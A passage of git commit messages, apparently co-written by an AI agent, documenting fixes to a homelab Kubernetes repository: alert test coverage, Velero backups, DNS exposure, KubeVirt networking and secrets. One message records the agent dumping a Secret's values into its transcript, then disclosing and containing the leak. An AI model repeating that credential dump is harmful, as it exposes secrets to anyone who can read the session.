block is skipped entirely, so the env is a NO-OP on every later start
whatever it holds ("If server is already logged in, this parameter is
ignored" -- upstream README).
* with an invalid/expired token on a still-unclaimed /config, plex.tv answers
403 with an empty body; curl's status is never checked, the token sed yields
empty, the success branch at line 120 does not fire, there is no else branch
and no non-zero exit, and the script (no `set -e`) exits 0. The pod comes up
UNCLAIMED AND SERVING. It does not crashloop.
* the image never sets S6_BEHAVIOUR_IF_STAGE2_FAILS (default 0 = continue even
if a cont-init script failed), so even a non-zero exit would not halt
startup.
An ABSENT Secret is the real hard failure (secretKeyRef has no `optional`, so it
is CreateContainerConfigError), which is why the Secret is committed, encrypted
and listed in the wave kustomization rather than hand-created at claim time.
NO SCHEMA CHANGE. `optional` on secretKeyRef would only be needed if the pod had
to tolerate a missing Secret or could not start without a VALID token. Neither
holds: the Secret always exists in the Flux graph, and an invalid token is
non-fatal. schemas/servicedefinition.schema.json is untouched, and so are
catalog/render.py's env emission and the renderer contract.
Changes:
* apps/wave-0/plex-claim-secret.sops.yaml -- new Opaque Secret plex-claim/plex,
key PLEX_CLAIM, SOPS-encrypted to the committed age recipient. Its header
carries NO dollar-brace expressions on purpose: kustomize preserves body
comments into the stream envsubst reads (per
conformance/tests/l0-static/flux-postbuild-substitution), so quoting the
upstream shell conditions verbatim would have been a live substitution
hazard on apps-wave-0, not prose.
* catalog/plex.yaml -- the PLEX_CLAIM env via valueFrom.secretKeyRef, the
"deliberately NOT set" block rewritten around the TTL + one-shot design, and
the stale crashloop claim in the /config storage comment corrected.
* apps/wave-0/plex.yaml -- re-rendered with the canonical command
(`--all catalog -o apps --wave-layout --no-image-automation`). No L1 golden
under conformance/tests/l1-rendering covers plex, so this is the only
rendered surface that moves.
* catalog/render.py -- plan_apps_waves places `<svc>-claim-secret.sops.yaml`
in the app's OWN wave, like the bootstrap secret, plus a selftest assertion.
Without this, the next `--emit-waves` would have silently dropped the Secret
from apps/wave-0/kustomization.yaml and put the pod into
CreateContainerConfigError. apps/wave-0/kustomization.yaml is the hand-pruned
subset (vm-demo/keycloak are rendered but deliberately unlisted), so its one
new line was applied without re-emitting the rest.
* runbooks/plex-claim.md + its kustomization.yaml generator entry + README
index -- the operator procedure that fits in 4 minutes, including the single
forced-reconcile command and the mandatory pod roll (a changed Secret does
NOT restart anything: PLEX_CLAIM is read only at container start and the pod
template is byte-identical across this change).
Touched requirements: R-SEC-01 (secrets encrypted at rest), R-GITOPS-02
(ServiceDefinition onboarding contract).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
alert-rules-unit-tested decided whether an alert had a unit test with a bare word
match over the whole test file. Any mention counted — including prose in a `#`
comment.
Hit for real while adding platform/monitoring/tests/vpn-egress.test.yaml. Its header
explains that VPNTunnelDown stays quiet during an egress-steering failure, and that
sentence alone made this check declare VPNTunnelDown "asserted on" and demand its
removal from UNTESTED_ALERTS. Removing the entry would have recorded coverage that did
not exist — the precise "looks fixed" outcome this check exists to prevent, produced
by the check itself. (In that instance I made the coverage real instead, which also
exposed that the fixtures were missing tun0's receive counter entirely.)
Now an alert counts only when a test file names it in an assertion position, with
comment lines stripped first so a commented-out assertion does not count either.
BOTH promtool idioms are accepted, because both are real assertions:
alert_rule_test: - alertname: CNPGPrimariesCoLocated
promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
Matching only the first is not a stricter check, it is a WRONG one: it reported
CNPGPrimariesCoLocated as untested when platform/cnpg/alerts.promtool-test.yaml pins
it across four scenarios entirely through the second form. Believing that would have
produced a redundant duplicate test for an alert already covered better than most —
so the first version of this very fix had to be corrected before it landed.
MEASURED BEFORE LANDING, because the registers are shrink-only and a prose-only alert
would have required an entry this check forbids adding: of 61 alerts, 32 are asserted
in one of the two idioms, 29 are not mentioned at all (already declared), and ZERO were
prose-only. So this tightening failed nothing on the day it landed.
My first measurement said 31/30/0 and was wrong in a way worth recording: it scanned
only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companion
convention, which is exactly what hid the CNPGPrimariesCoLocated false negative.
Verified in both directions: 134 assertions pass with the real coverage intact, and a
temporary prose-only mention of NodeExporterDown (a registered untested alert) leaves
it correctly listed as untested instead of triggering the stale-entry failure.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
Records the three fixes and, in each case, the thing that was reporting green or red
over something other than what it claimed to measure. Includes corrections to my own
numbers (the '192 unmapped files' figure was my audit script's regex matching across a
newline, not the repo) and the two check defects the egress branch exposed.
PM HANDOFF lists open items in priority order. R-STATE-02 remains the Phase 7 exit
item and is blocked on the permission classifier, not on readiness.
Co-Authored-By: Claude Opus 5 <[email protected]>
Brings the two alerts for the silent egress-gateway failure: VPNEgressSteeringStale
(critical) and VPNEgressUplinkLabelMissing (warning), plus the kube-state-metrics
allowlist entry that makes them non-inert.
WHY THE BRANCH SAT IN THE BACKLOG: it could not pass the merge gate. Three
whole-repo checks failed on it, and each one was a real gap rather than a nuisance:
* alert-runbooks-resolvable — both alerts link to /runbooks/vpn-egress-stale,
which did not exist. An alert firing now would hand the operator a 404.
* alert-rules-unit-tested — alerts.yaml is already a covered file, so new rules
in it must be tested or a "tested" file quietly grows untested rules.
* alert-metrics-have-scrape-targets — see the guard bug below.
WHAT THE ALERTS CATCH. egress-class=vpn pods leave through one gateway node's tun0;
Cilium resolves it to an ifindex and caches it. An OpenVPN reconnect destroys and
re-creates tun0 with a NEW ifindex, and the node label
homelab.keithjackson.dev/egress-uplink=<addr>-<ifindex> is what forces Cilium to
re-resolve. If the label does not follow the tunnel, the cache points at a destroyed
interface and every vpn-class pod is silently dropped — while tun0 stays up and
VPNTunnelDown says nothing. That ran ~80 minutes undetected on the dev gateway.
Verified this is live on prod, not inert: k3s-prod-3 carries egress-gateway=true and
egress-uplink=10.150.192.86-139, and vpn-egress-steering has been in place 14 days.
The label was exported on 0 series before this change, so the allowlist entry is
what switches the alerts on.
runbooks/vpn-egress-stale.md — written and wired into the configMapGenerator, with
the four required operator sections. It leads with proving egress from a pod the
policy selects, because the symptom is "outbound traffic silently disappears", and
it says plainly not to "fix" this by deleting the policy: that does not restore
egress, it sends vpn-class traffic out of the real ISP connection, which is the leak
the class exists to prevent.
platform/monitoring/tests/vpn-egress.test.yaml — four promtool fixtures. 1 and 2 are
the SAME tunnel reconnect with and without the label following it, which isolates the
mechanism the rule actually keys on: a label VALUE change is not a changing sample,
it retires one series and starts another. 3 is the inert case (gateway node, no uplink
label) where the critical rule CANNOT fire, which is why the warning exists.
Two fixes the branch needed that were defects in the checks themselves:
1. alert-metrics-have-scrape-targets asserted the KSM allowlist matched
`nodes=[...egress-gateway]` with a literal closing bracket — i.e. that the list
contained EXACTLY that one label. Adding a second label correctly (egress-uplink,
which these alerts need) therefore FAILED the check while the property it guards
was perfectly satisfied. Loosened to `[,\]]`: in the list, not the whole list. A
guard that breaks when you correctly extend the thing it guards teaches people to
edit the guard, which is how it stops guarding.
2. UNTESTED_ALERTS listed VPNTunnelDown, and the check flagged it as stale because
"asserted on" is a bare word match over the test file — my header COMMENT
mentioning VPNTunnelDown was enough to count as coverage. Rather than delete the
register entry and claim coverage that did not exist, the fixtures now assert
VPNTunnelDown QUIET in all four cases. That required making them faithful: they
had no node_network_receive_bytes_total{device="tun0"} at all, so VPNTunnelDown
would have been firing throughout unnoticed, because promtool only checks the
alertnames you name. A healthy tun0 passes traffic, and that silence IS the claim
these rules exist for.
NOTE FOR LATER, not fixed here: that word-match means any alert named in prose counts
as tested. Tightening it to `alertname:` positions could reveal other prose-only
"coverage", and the register is shrink-only, so the cascade wants doing deliberately
rather than at 01:00 unattended.
Conflicts resolved: kept HEAD's Velero custom-resource-state block and took only the
branch's one-line allowlist change (14 lines down to 1); inserted the branch's
2026-09-12 DECISIONS-LOG entry in date order rather than appending it out of sequence.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired. The new unit tests pass under the pinned promtool 3.14.0.
Co-Authored-By: Claude Opus 5 <[email protected]>
ci/touched-requirements.sh's coarse path map had no arm for apps/*. A change adding
or editing ANY workload on the cluster — 49 tracked manifests across apps/wave-0,
-1, -2 and apps/vms — attributed zero requirements, so the merge gate selected only
the whole-repo-scoped checks and none of the requirement-scoped L2 behaviour tests.
The tests that enforce default-deny, egress class and auth mode did not run on
exactly the changes that can violate them. Kyverno admission and the L0 egress-path
check are real backstops, but admission is post-merge and the gate exists to catch
it first.
platform/homepage and platform/headlamp were unmapped too — the C2 UI. That gap was
already written down in changed_diff()'s rule-3 comment ("the ONLY route to
R-C2-01/02 was rule 3", i.e. editing the C2 test itself) and had sat there since.
Twelve arms added: apps/vms/* (ordered BEFORE apps/*, because `case` takes the first
match), apps/*, platform/homepage|headlamp, platform/kubevirt, platform/gateway,
platform/coredns, platform/crafty, platform/external-snapshotter|backup, runbooks/*,
platform-config/*, platform/kustomization.yaml and .sops.yaml.
platform/kustomization.yaml earns its own arm: it is the assembly list, so one
deleted line disables an entire platform component while every file it points at
stays perfectly valid on disk. That is the most consequential single-line edit in
the repo and it attributed nothing.
Measured effect for an apps/ change, via --print-selection:
before: 0 requirement-scoped tests
after: 13 (3 L1, 8 L2, 2 L3)
Coverage stays 51/51, so the gate's "attributed IDs must be covered" assertion does
not false-block.
Ten new assertions in ci/tests/touched-requirements.test.sh (26 total, all passing),
including the ORDER property — apps/vms/* must win over apps/* — because arm order
is a real failure mode of `case`, not merely a question of both arms existing. Each
fixture cites no R-ID of its own, so any ID in the output came from the PATH and not
the content scan.
A correction on numbers I reported earlier in this session: I claimed "192 unmapped
files", then "182". Both were inflated by my own audit script rather than the repo.
Its regex used `[^)]*`, which matches across a newline, so the first arm parsed as
`case "$1" in\n catalog/*` and never matched anything; I also mis-parsed
alternation arms like `.gitea/*|ci/*`, which made ci/ look unmapped when it is
mapped. True remainder after this change is 18 files, all prose or captured
artifacts (docs/plans/, root READMEs, .standup-dns/*.txt).
Gated: offline l0,l1,meta --include-scope whole-repo, exit 0.
Co-Authored-By: Claude Opus 5 <[email protected]>
Supersedes 05a8094, which fixed the right bug in the wrong layer.
That commit excluded ns velero's volume data because Velero's own transient kopia
maintenance Jobs (emptyDir `plugins` + `scratch`) were failing their
PodVolumeBackups and turning the nightly Backup PartiallyFailed. It deferred the
general fix — skip emptyDir by type — because Velero's `volumeTypes` policy
condition was unproven here and an unparseable policies.yaml breaks EVERY backup.
It said "revisit if the shape shows up elsewhere."
It showed up elsewhere within the hour. A verification Backup came back
PartiallyFailed with 4 errors, all in ns runbooks: the nginx Deployment's emptyDir
`tmp` + `cache`, failing with
error to expose PVB: error getting client pod runbooks-...: pods "..." not found
because pushing a runbook edit rolled that Deployment while the backup was
snapshotting it. Cause worth stating plainly: I triggered that rollout myself, so
those four failures were self-inflicted rather than a standing defect — but the
mechanism is not. A PVB exposes the volume through its pod, so ANY rollout landing
in the backup window fails one, and one failed PVB makes the whole Backup
PartiallyFailed. On a GitOps cluster that is routine.
So the property is what matters, not the namespace: an emptyDir is created empty
with its pod and destroyed with it, so backing one up cannot protect anything
while attempting it can break the backup that protects everything else.
The `volumeTypes` risk was retired by testing, not by hoping. The new policy went
into a THROWAWAY ConfigMap first, leaving the live one untouched, and was proven
on prod (velero 1.18.1) with a control:
control, ns runbooks, NO policy -> 4 PodVolumeBackups (2x tmp, 2x cache), Completed
same namespace, WITH the policy -> 0 PodVolumeBackups, Backup Completed, 0 errors
The control is the point — "zero PVBs" alone is equally consistent with nothing
having been attempted, which is the kind of empty green I have shipped before.
The ns velero exclusion is now reverted as redundant: `plugins` and `scratch` are
emptyDir (verified on a live maintain pod), so the general rule covers them, and
reverting keeps Velero's own resources in schedule (1) where they belong instead
of moving them between schedules for no reason.
Gated: L0 whole-repo 21 cases, 0 failures, 0 skips, 0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
They do not, and the correction changes the operator's plan rather than just a
detail.
Verified live: all three CNPG clusters run 3 instances spread one per node by
required anti-affinity, and k3s-prod-1 holds a REPLICA of each (keycloak-db-2,
nextcloud-db-2, semaphore-db-2). No primary is on node 1, so draining it forces
no failover at all — the best state this maintenance could ask for. The original
sentence was carried over from earlier session state and was simply stale; the
runbook now prints the command to re-derive it, because primaries move on their
own after any restart or failover.
Adds the warning that matters more. CNPGPrimariesCoLocated is currently firing
for k3s-prod-2, which holds both the keycloak-db and semaphore-db primaries. The
instinct is to tidy that before a maintenance window. Doing so would be actively
harmful here: rebalancing means promoting a replica, the only node with spare
primary capacity is node 1, and so "fixing" the alert would put a primary on the
very node about to be powered off — converting a no-failover drain into a
two-database failover. Rebalance after node 1 is back and caught up.
Gated: L0 whole-repo 21 cases, 0 failures, 0 skips, 0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
VeleroNoRecentBackup has been firing CRITICAL on prod over a backup that was
actually protecting everything.
velero-daily-20260919030041: PartiallyFailed, 3079/3079 items backed up, exactly
2 errors — both PodVolumeBackups for the `plugins` and `scratch` volumes of
homepage-default-kopia-maintain-job-1789786837269-qhsvh. Four such PVB failures
had accumulated.
Velero runs transient kopia repository-maintenance Jobs in its own namespace, one
per BackupRepository, each with emptyDir `plugins` and `scratch` volumes. Schedule
(1) runs defaultVolumesToFsBackup:true — the opt-out model — so it attempts
fs-backup on those volumes too. The Job finishes and its pod disappears
mid-backup, and the PodVolumeBackup fails.
Nothing real was ever missed. But PartiallyFailed does not advance
velero_backup_last_successful_timestamp, so the alert that exists to catch a
genuine backup outage fires every night over Velero cleaning up after itself. An
alert that cries wolf nightly is how a real failure gets ignored — and this one
guards R-STATE-03.
Fix uses the pattern already established for monitoring+unifi: exclude the
namespace's volume DATA from schedule (1), keep its RESOURCES in schedule (2).
Safe by inspection — ns velero holds no PVCs, so there is no volume data to lose,
while the BSL, credentials and Backup CRs that DR actually needs are still
captured.
Deliberately narrower than the general rule. The general fix is a volume policy
skipping emptyDir by type, which would also cover a transient Job in any other
namespace, but it needs Velero's `volumeTypes` policy condition — unproven in this
repo on 1.18.1, and a policies.yaml Velero cannot parse breaks EVERY backup. That
is a much worse failure than the one being fixed, and all four observed failures
were kopia-maintain pods in ns velero. Rationale recorded inline so the next
person can widen it on purpose rather than by accident.
Gated: L0 whole-repo 21 cases, 0 failures, 0 skips, 0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
Records the session's three pieces of work and, more importantly, the theme
joining them: the gate was reporting green over things it had not checked.
- runbooks/node-memory-swap.md, with the three claims I wrote and then removed
because they were false (EtcdIsVoter does not exist here; node-drain-policy is
not pinned so the runbook reads it live; the 5-vs-1 rebuild-limit confusion).
- The nested-worktree scan: six discovery sites auditing 18 copies of the repo.
- L1 rendering never running on a requirement-scoped gate, with the external-dns
incident reproduced via --print-selection (0 tests before, 3 after).
- The two defects that surfaced in the meta-check guarding all of it.
PM HANDOFF lists the open items in priority order. The first is a judgement call
worth flagging rather than burying: the planned memory swap on k3s-prod-1 IS a
supervised single-node loss on prod, which is exactly the event R-STATE-02
describes and which is still proven only on the decommissioned dev cluster.
Capturing evidence during the swap costs nothing; manufacturing the event later
costs a second maintenance window.
Co-Authored-By: Claude Opus 5 <[email protected]>
Declaring whole-repo scope on the L1 tests made whole-repo-invariants-wired
(R-TEST-03) fail. It was right to change behaviour and wrong about why, and it
could not tell anyone either way. Two independent defects.
1. LAYER-AGNOSTIC WHERE THE DESIGN IS LAYER-BOUNDED
The "every scope-declared test is selected despite a requirement filter matching
none" assertion compared EVERY scope-declaring dir against an `--layer l0`
selection. That silently assumed only L0 tests would ever declare the scope —
while ci/l1.sh was written from the opposite premise, that a whole-repo invariant
could appear at any layer. So the first L1 declaration made the check blame the
union for correctly excluding another layer.
Now partitioned by layer, and the L1 half of the property is asserted too:
every scope-declared L1 test must be selected by `--layer l1 --include-scope`,
and that selection must not leak non-L1 tests. That is what makes the L1
declaration load-bearing rather than decorative — previously nothing proved the
union reached L1 at all, because nothing at L1 declared the scope.
2. EVERY ASSERTION FAILED SILENTLY
The idiom throughout was a bare test on one line and `chk $?` on the next, under
`set -euo pipefail`. A false test aborts the script BEFORE chk can print, so the
diagnostic — which is the entire value of this check — was never reached. The
real failure above emitted 26 `ok` lines, rc=1, and no message at all; it read
as a tooling glitch rather than a finding.
All 12 assertion sites now capture the status (`chk $arc`) so the check reports
and continues. Proven by forcing MIN_DECLARED=999 against the real check: the
failure prints its full explanation and the run proceeds to the remaining
assertions, where before it died mute.
A meta-check that cannot say why it failed is worse than no meta-check.
Verified: 35 assertions, rc=0; full offline l0,l1,meta 25 tests / 0 failures.
Co-Authored-By: Claude Opus 5 <[email protected]>
All three L1 tests now declare `conformance.home.k3s/scope: "whole-repo"`.
ci/l1.sh has passed --include-scope whole-repo since it was written, with a
comment saying no L1 test declared the scope yet and it was wired ahead of time
so the next whole-repo invariant "at any layer" would be picked up by annotation
alone. Nothing ever declared it. The consequence is that the entire L1 rendering
layer only ran when a touched path happened to attribute R-PLAT-02, R-NET-01 or
R-NET-05/06/07 — a fail-open hole for every other change in the repo.
The coupling requirement-scoped selection cannot see is that all three tests
exercise ONE code path: catalog/render.py against
schemas/servicedefinition.schema.json. Anything that changes rendered output
invalidates these goldens no matter which requirement the touched path maps to.
The 2026-09-04 external-dns merge is the proof, measured rather than asserted.
ci/touched-requirements.sh attributes platform/externaldns/helmrelease.yaml to
R-ENV-02, R-OBS-01/02/04, R-STATE-03 and R-TEST-01/02/03/04 — none of the
rendering requirements — yet that change added
external-dns.alpha.kubernetes.io/controller: none
to the rendered output of all three goldens. Via --print-selection:
requirement-scoped only (the 2026-09-04 behaviour): 0 L1 tests selected
with --include-scope whole-repo (how ci/l1.sh runs): 3 L1 tests selected
So the merge gated GREEN while leaving every rendering golden stale, and the
staleness surfaced only on a later full run.
Also corrects the now-false comment in ci/l1.sh that said no L1 test declares the
scope, and records why the annotation is load-bearing there.
Verified: offline l0,l1,meta --include-scope whole-repo in the pinned toolbox —
25 tests, 0 failures, 0 errors, exit 0.
Co-Authored-By: Claude Opus 5 <[email protected]>
The operator has a matched 32 GB pair to install. k3s-prod-1 is the node that
needs it: DIMM1 is a Micron 8ATF2G64HZ-3G2E1 (16 GB, DDR4-3200, 1Rx8) and DIMM3
a 16ATF2G64HZ-2G6E1 (16 GB, DDR4-2667, 2Rx8), so capacity is correct at 32 GB
but the pair runs at the slower 2667. Nothing is faulty. k3s-prod-3 is a matched
Crucial pair.
The procedure exists because this node is the awkward one to take down: it held
24 Longhorn replicas, it is one of three etcd members (so the drain leaves
quorum at 2 of 3 with no further margin), and its rebuilds are the load that
starved etcd once already. So the runbook front-loads the checks that decide
whether to start at all, and treats a BLOCKED drain as the safety property
working rather than an obstacle to force past.
Two things it deliberately does not assert:
- node-drain-policy is not pinned in platform/longhorn/helmrelease.yaml, so the
runbook has the operator READ the live Setting and set it before draining if
it is not block-if-contains-last-replica, instead of assuming the default.
- Configured Memory Speed, not Speed, is named as the field that proves the
swap worked — a matched pair being clocked down still reports the rated Speed.
It also flags the capacity decision as a decision: 2x16 GB keeps the three nodes
symmetric as PROD-PROVISIONING.md §2 assumes, while 2x32 GB makes node 1 the
asymmetric one on memory as well as disk.
Recorded caveats: the node-health artifacts de-duplicate DIMM part numbers, so
they can prove "two different modules" but cannot distinguish one module from
two identical ones — verification therefore collects dmidecode live. And node 2's
inventory is stale and self-contradictory (documented as the only single-DIMM
node at 16 GB, yet reporting ~31.1 GiB), so it needs re-inventory before anyone
claims three-way symmetry. This is NOT the §0b "do not buy RAM" case, which was
an EFI memattr kernel bug on node 2.
Wired into the configMapGenerator so it is served at /runbooks/node-memory-swap
rather than existing only in git.
Co-Authored-By: Claude Opus 5 <[email protected]>
Six discovery sites walked ROOT without pruning dot-directories, so they
descended into .claude/worktrees/agent-*/ — up to 18 full copies of the repo,
created for isolated agent runs and gitignored (.gitignore:43).
The visible half was false FAILs: four ServiceMonitors reported as selecting no
Service, and nine PrometheusRule manifests reported as "under test but not in
the repo", all of them worktree paths. The whole-repo L0 gate was red for
reasons that had nothing to do with authored surface.
The dangerous half is quieter. A check that asks "does anything in the repo
declare X" can be satisfied by a worktree copy instead of real source, so the
same bug that invents failures can also manufacture a pass. That is the reason
to fix all six sites rather than only the ones that happened to be failing.
egress-paths-selected-by-rules already had this fix and documents it (it once
saw 5 CiliumEgressGatewayPolicy objects instead of the 1 authored); this applies
the same dot-directory predicate everywhere else, which skips dot-DIRECTORIES
while still matching dot-FILES such as .sops.yaml.
platform/monitoring/tests/run.sh is the other side of the same failure: its
`--list` reported each manifest once per worktree, and the L0 check compares
that listing against the tree. Both find calls now prune .claude alongside .git.
`--list` returns 21 real pairs where it previously returned them ~19x over.
Verified in the pinned toolbox: L0 --include-scope whole-repo is 21 cases,
0 failures, 0 skips, 0 unwired (was 4 failures, then 1). L1 3/3.
The 18 stale worktrees are all on already-merged branches and remain on disk;
cleaning them up is a separate change and is no longer load-bearing for the gate.
Co-Authored-By: Claude Opus 5 <[email protected]>
A kubectl jsonpath with {range .data}{@}{end} dumped the unifi Secret's data
map, putting the base64 console-password in the session transcript. Exactly the
constraint I put in every agent brief, broken by my own careless verification
command.
Exposure bounded: 0 commits contain it (git log -S), the capturing scratch file
was shredded, and a repo-wide grep finds nothing on disk. Critically it is not
yet a live credential — the Secret was created two days after the running VMI,
whose volume list is rootdisk and cloudinit only, so the UOSDATA disk was never
attached, install-uos never ran, and the ubuntu account is still locked.
Action recorded with the ordering that matters: rotate console-password BEFORE
recreating the VMI, so the leaked value never becomes valid.
Lesson: checking a Secret's existence never needs its values. Listing .data's
keys or .metadata.name answers the question; dumping .data answers one nobody
asked.
Co-Authored-By: Claude Opus 5 <[email protected]>
Operator set console-password in the SOPS secret (installer-url deliberately
left as REPLACE-ME, which install-uos handles by printing 'not set yet' and
exiting 0; the uosserver guard exits before it is even read).
Root cause of the lost address, from evidence rather than inference. KubeVirt
generates a fresh MAC per VMI when none is pinned. cloud-init writes
/etc/netplan/50-cloud-init.yaml matching the MAC it saw, and will not rewrite
it while the NoCloud instance-id is unchanged — and that instance-id is
domain.firmware.uuid, stable across restarts by design. So every VMI
recreation handed the guest a MAC its retained netplan did not match, leaving
enp1s0 administratively DOWN, never even attempting DHCP.
What the 2026-09-12 boot log shows, and why it fits: cloud-init's own device
table reads 'enp1s0 | Up: False | Address: .'; there are no apt failures
because the per-instance modules were skipped; yet UOS is installed (6.3 GB of
40 GB) and qemu-guest-agent answers — both of which required working network on
an EARLIER VMI. The MAC is identical between the current VMI status and that
boot log, so it did not change on this boot; the mismatch is against a netplan
written under a previous incarnation.
Pinned to the MAC the current VMI already holds, so nothing changes for this
guest. Combined with the instance-id bump already merged, the next restart
re-runs cloud-init, rewrites netplan against a MAC that is now permanent, and
the interface should come up — and the console password is in place as the
fallback if it does not.
Still unverified from outside: the netplan file's actual contents. That needs
the console the operator can now reach.
Co-Authored-By: Claude Opus 5 <[email protected]>
b184a42 made the renderer stamp external-dns.alpha.kubernetes.io/controller:
none on internal services' HTTPRoutes, but three L1 golden fixtures were never
regenerated, so container-workload-render (R-PLAT-02) and egress-class-render
(R-NET-05/06/07) failed. Exactly one line differs in each — the annotation and
nothing else.
WORTH RECORDING: the merge that caused this GATED GREEN. The requirement-scoped
selection did not include R-PLAT-02 or R-NET-05/06/07, so neither check ran. A
later docs-only commit shifted the touched set, selected them, and exposed a
failure the earlier merge had introduced — meaning the gate reported PASS on a
tree it had not actually checked in the relevant place.
That is the same fail-open the whole-repo scope mechanism was built for, except
that mechanism covers L0 only; L1 is still purely requirement-scoped. A renderer
change can therefore drift any L1 golden whose requirements the change does not
happen to attribute. Both affected checks are pure offline renders with no
cluster dependency, so they are cheap to run unconditionally — declaring
scope: whole-repo on the l1-rendering tests looks like the right follow-up.
Also note the checks diff fail-fast: only egress-vpn was reported, while
egress-internet had drifted identically and was never reached.
Co-Authored-By: Claude Opus 5 <[email protected]>
Confirmed at the authority, not a cache: all six internal names absent
publicly, all five public names untouched, and Pi-hole answering for the six
internally. The R-DNS-03 disclosure is closed for that tier.
Records a correction to my own sequencing: I insisted this could not land
before the DHCP repoint, but the router returns nothing for those six names, so
the records served nobody and the dependency I asserted did not exist. One
query would have shown it.
Also records the operator's clarifications — Pi-hole is DNS only with the
router still doing DHCP, reverse proxy by hostname rather than a second IP, and
Minecraft staying open — plus the unencrypted-secret fix.
Co-Authored-By: Claude Opus 5 <[email protected]>
Every other *.sops.yaml in this repo carries sops metadata and ENC[] values;
this one shipped with neither and both fields as literal REPLACE-ME. Two
consequences: 'sops <file>' fails with 'sops metadata not found', so the
documented operator step could not work; and Flux would pass the file through
undecrypted and create the Secret with the literal placeholder strings.
Encrypted in place with the repo's age recipient, placeholders intact.
Round-trip verified: sops -d returns installer-url and console-password as
REPLACE-ME, so the operator's workflow is now the normal one — sops the file,
set both values, commit.
Both fields need setting, not just the password: installer-url is also
REPLACE-ME, which I had omitted from the operator instructions.
Co-Authored-By: Claude Opus 5 <[email protected]>
Six exposure:internal services published A records into the public Cloudflare
zone answering 192.168.2.20, disclosing the internal subnet, the Gateway VIP
and a full service inventory, and forming a DNS-rebind primitive that is why
the SOHO router strips these answers in the first place.
The renderer now stamps external-dns.alpha.kubernetes.io/controller: none on
every HTTPRoute it renders for an internal service, derived from the exposure
field alone — so a service that omits exposure defaults to internal and is
likewise unpublishable. Established against the deployed v0.21.0's own source,
where the controller check runs before hostname resolution in both configured
sources, then proven live on a throwaway hostname including that adding the
annotation to an existing record triggers the DELETE.
Deletes exactly 12 records: the A and TXT pair for jackett, pihole,
qbittorrent, radarr, semaphore and sonarr. A 39-record recovery baseline is
committed alongside.
Safe to land before the DHCP change, contrary to my earlier caution: the
router returns NOTHING for all six names today, so these records serve nobody
on the LAN, while Pi-hole at 192.168.2.23 already answers for anyone pointed
at it.
The five exposure:public services are untouched. They remain unreachable
publicly, which is a separate problem: the legacy edge at 136.51.115.252
returns HTTP 403 for our hostnames and serves a placeholder certificate, so
nothing is reverse-proxying them today.
Third confident claim of mine corrected in two days, and this one I took from
a stale README rather than the machine. uosserver.service starts on the
current boot and the root filesystem holds 6.3 of 40 GB, while enp1s0 is up
with no address and does not answer ARP — so the controller runs and nothing
can reach it.
Records the near-miss: proceeding on my premise would have reinstalled over a
working controller, which the new install-uos guard now prevents. Also records
that there is no way into the guest at all, which is why the deliverable became
console access, and the cloud-init instance-id discovery that explains why an
earlier unattended install could never have taken effect.
Co-Authored-By: Claude Opus 5 <[email protected]>
The premise I briefed was wrong and the agent checked before building on it.
UniFi OS Server IS installed: the current boot starts uosserver.service and
uosserver-updater.service, and the root filesystem holds 6.3 GB of 40 GB where
bare Ubuntu plus our packages is about 2 GB. Verified independently.
The actual fault is that the guest has no address — .status.interfaces shows
enp1s0 link up with no ipAddress, and ip neigh inside virt-launcher reports
10.0.2.2 FAILED, so the guest does not answer ARP on its masquerade address.
Probes from virt-launcher straight to the pod IP and to 10.0.2.2 RST on
11443/8443/8080/22, which exonerates the VIP, the traffic policy and the
network policy. The cause cannot be determined from outside the guest.
That made one guard non-negotiable: install-uos now bails the moment systemd
knows a uosserver unit. Without it this merge would have reinstalled over a
working controller.
Second finding: there is no way into the guest at all — no SSH key, no
password, and SSH cannot work by construction because masquerade forwards only
declared ports and 22 is not one. So the deliverable is console access: a SOPS
secret carrying installer-url AND console-password, mounted as a NoCloud disk
and re-read every boot.
The discovery that makes it work: NoCloud instance-id is
spec.template.spec.domain.firmware.uuid, stamped on the VM object. Cloud-init
compares it to the DMI product UUID, so editing userData alone changes nothing
on a second boot — the cached datasource is restored and write_files/runcmd are
skipped. That is why a previously shipped unattended install could never take
effect. The UUID is now pinned in git and bumped once.
Deliberately did NOT put the whole cloud-config behind secretRef: that would
hide the shell in ciphertext, out of reach of the L0 dollar-collapse guard,
while Flux's envsubst still runs over the decrypted resource — the nextcloud-db
shape from 2026-09-13. Script in plaintext, operator values in SOPS.
Unattended install is reported honestly as third-party practice, not verified
here, and the README's stale dev-era addressing is corrected throughout since
it doubles as the rebuild runbook.
The operator's UOS bring-up becomes one field. apps/vms/unifi/unifi-uos-installer.sops.yaml
(SOPS/age, with a .example sibling per the crafty/headlamp convention) carries `installer-url`
and `console-password`. KubeVirt mounts it as a read-only iso9660 disk labelled UOSDATA and an
in-guest `uos-install.service` reads it on EVERY boot, so a later URL change needs only a commit
and a VM restart.
Mechanism verified against the DEPLOYED KubeVirt v1.9.0, not from memory:
* inline userData cap is exactly 2048 bytes — server-side dry-run apply accepted 2048 and
rejected 2049; the payload here is 1454.
* `cloudInitNoCloud.secretRef` and `secret.volumeLabel` both exist in the live CRD; the secret
disk + third disk were accepted by a server-side dry-run of the real manifest.
* the NoCloud seed's instance-id IS spec.template.spec.domain.firmware.uuid (read out of
noCloud.iso inside virt-launcher), stamped on the VM OBJECT, so it survives restarts. Editing
userData alone therefore changes NOTHING — cloud-init restores its cached datasource and skips
write_files/runcmd. The UUID is now pinned in git and bumped once so the new payload lands.
secretRef was deliberately NOT used for the whole cloud-config: it would put the shell in
ciphertext, out of reach of the L0 dollar-collapse guard, while Flux's envsubst still runs over
decrypted resources — the 2026-09-13 nextcloud-db shape. Script in plaintext, operator values in
SOPS. apps-vms had no `decryption` stanza (first encrypted content under apps/vms/), so one was
added to both overlays.
CORRECTION, and it is the headline: UNIFI OS SERVER IS ALREADY INSTALLED on the live guest. The
serial console log starts uosserver.service and uosserver-updater.service, and / is 6.3 GB of
40 GB used. The controller is unreachable because THE GUEST HAS NO IP: .status.interfaces shows
enp1s0 up with no address, and `ip neigh` in virt-launcher reports 10.0.2.2 FAILED. 11443/8443/
